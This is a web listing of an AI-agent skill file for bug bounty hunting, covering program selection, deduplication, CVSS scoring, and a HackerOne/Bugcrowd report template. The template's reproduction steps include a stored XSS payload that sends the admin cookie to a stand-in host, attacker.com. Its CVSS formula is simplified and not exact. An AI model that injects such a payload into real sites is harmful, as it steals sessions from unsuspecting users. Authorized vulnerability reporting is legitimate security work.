pentest-bugbounty
Skill8 starsChanged 3 months agoMITView on GitHub
Bug bounty methodology — HackerOne/Bugcrowd/Intigriti, deduplication, report writing, severity scoring, payout maximization advisory. Triggers on bug bounty, HackerOne, Bugcrowd, Intigriti, H1, BB, dedup, severity, CVSS scoring, bug report writing, triage.
In this repository63 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-automationSkill
- consultingSkill
- contentSkill
- customer-successSkill
- data-analyticsSkill
- designSkill
- design-tokensSkill
- developmentSkill
- devopsSkill
- ecommerceSkill
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- expo-app-configSkill
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- expo-eas-buildSkill
- expo-eas-submitSkill
- expo-eas-updateSkill
- expo-modulesSkill
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- expo-prebuildSkill
- expo-routerSkill
- expo-troubleshootingSkill
- financeSkill
- frontend-tasteSkill
- marketingSkill
- market-researchSkill
- mobileSkill
- pentest-adSkill
- pentest-apiSkill
- pentest-bizlogicSkill
- pentest-cicdSkill
- pentest-cloudSkill
- pentest-credentialsSkill
- pentest-ctfSkill
- pentest-detectionSkill
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- pentest-exploit-chainSkill
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- pentest-mobileSkill
- pentest-opsec-evidenceSkill
- pentest-orchestratorSkill
- pentest-privescSkill
- pentest-reconSkill
- pentest-reportSkill
- pentest-socialSkill
- pentest-stigSkill
- pentest-threat-modelSkill
- pentest-webSkill
- pentest-wirelessSkill
- productivitySkill
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- salesSkill
- security-checkSkill
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- seoSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
3 rules. About 0 are common, 3 are distinctive, and 0 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈3
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 63
If it's the same vulnerability type + same endpoint -> duplicate risk, try another program.
- Distinctive: line 129
After reporting to the program, what a triager may push back with:
- Distinctive: line 143
Multi-domain impact: If multiple assets are affected, add it explicitly
≈ “Common” is an estimate: at least 1 in 5 of the 364,980 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
pentest-bugbounty
Bug bounty hunting discipline — authorized programs only, ROE fidelity, dedupe, quality reports.
Triggers
- "let's write an H1 report"
- "Bugcrowd submission"
- "calculate the CVSS score"
- "how do I dedup"
- "bounty report template"
Program Selection Criteria
| Factor | Impact |
| Scope breadth (*.target.com vs app only) | Attack surface |
| Bounty range (min-max) | ROI |
| Response SLA (in days) | Patience |
| Disclosure policy (public/private) | Portfolio growth |
| Safe Harbor (legal protection) | Risk |
| Is a researcher rating required (private prog) | Eligibility |
Recommended starting point: VDP (vulnerability disclosure program) -> public bounty -> private invitation.
What NOT to Do (Program Violation)
- Testing out-of-scope assets (always a ban + legal risk)
- Production data exfil beyond the proof threshold
- Automated scan without vendor approval
- DoS / load test
- Social engineering against employees (usually forbidden)
- Brute force (usually forbidden)
- Public disclosure before client approval
Dedup Strategy
Before submission:
# H1 hacktivity
curl 'https://hackerone.com/<program>/hacktivity' | jq '.results[] | select(.title | contains("<finding-keyword>"))'
# Bugcrowd public submissions
# Search on the program pageIf it's the same vulnerability type + same endpoint -> duplicate risk, try another program.
CVSS 3.1 Quick Calculation
Base = Impact + Exploitability
Impact (CIA):
C/I/A: None=0, Low=0.22, High=0.56
Exploitability:
AV: Network=0.85, Adjacent=0.62, Local=0.55, Physical=0.2
AC: Low=0.77, High=0.44
PR: None=0.85, Low=0.62, High=0.27
UI: None=0.85, Required=0.62Web exploit example:
- SQLi (authenticated, network, low complexity, low priv, no UI, high CIA)
- AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (HIGH)
Report Template (shared H1 / Bugcrowd)
## Title
[CRITICAL] Stored XSS in admin panel allows session hijack of all admins
## Severity
CVSS 3.1: 9.0 (CRITICAL)
Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
## Summary
Authenticated low-priv user can inject JS into the comment field that
executes in admin browser when viewing dashboard. Session token is
exfiltrated to attacker-controlled domain.
## Steps to Reproduce
1. Login as low-privilege user (user@example.com / Test123!)
2. Navigate to /comments
3. Submit comment body: `<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">`
4. As admin, navigate to /admin/comments
5. Observe outbound request to attacker.com containing admin session cookie
## Impact
- Full admin compromise (session hijack)
- Persistent payload (stored DB)
- 1-click via existing admin workflow (no extra interaction)
## Proof of Concept
[screenshot1.png] — comment submission
[screenshot2.png] — admin browser request
[burp-export.har] — full HAR file
## Suggested Fix
- Server-side sanitize comment body (DOMPurify on save, not on render)
- CSP: `default-src 'self'; img-src 'self' data:`
- Cookie: `HttpOnly` + `Secure` + `SameSite=Strict`
## Additional Context
- Affected version: 4.2.1 (production as of 2026-05-15)
- Tested on: Chrome 119, Firefox 120
- No public PoC, no CVE assignedTriage Counter-Preparation
After reporting to the program, what a triager may push back with:
| Question | Be Prepared |
| "We can't reproduce it" | Attach a video recording, specify browser/OS |
| "There's no user input limit anyway" | Demonstrate real impact (admin session) |
| "This is a duplicate, report N submitted it" | The different endpoint you claim / the dedup link |
| "We'll count it as Self-XSS" | Prove the multi-user impact |
Bounty Maximization
- Chain bug: Low + Low + Med -> Critical chain (premium payout)
- Out-of-band: DNS, email, time-based POC (hard to reproduce -> quality points)
- Detection bypass: WAF / CSP bypass proof
- Multi-domain impact: If multiple assets are affected, add it explicitly
Out-of-Scope
- Automated dedup tool composer (the decision stays human)
- Social engineering against employees
- Using forbidden techniques (DoS, brute force)
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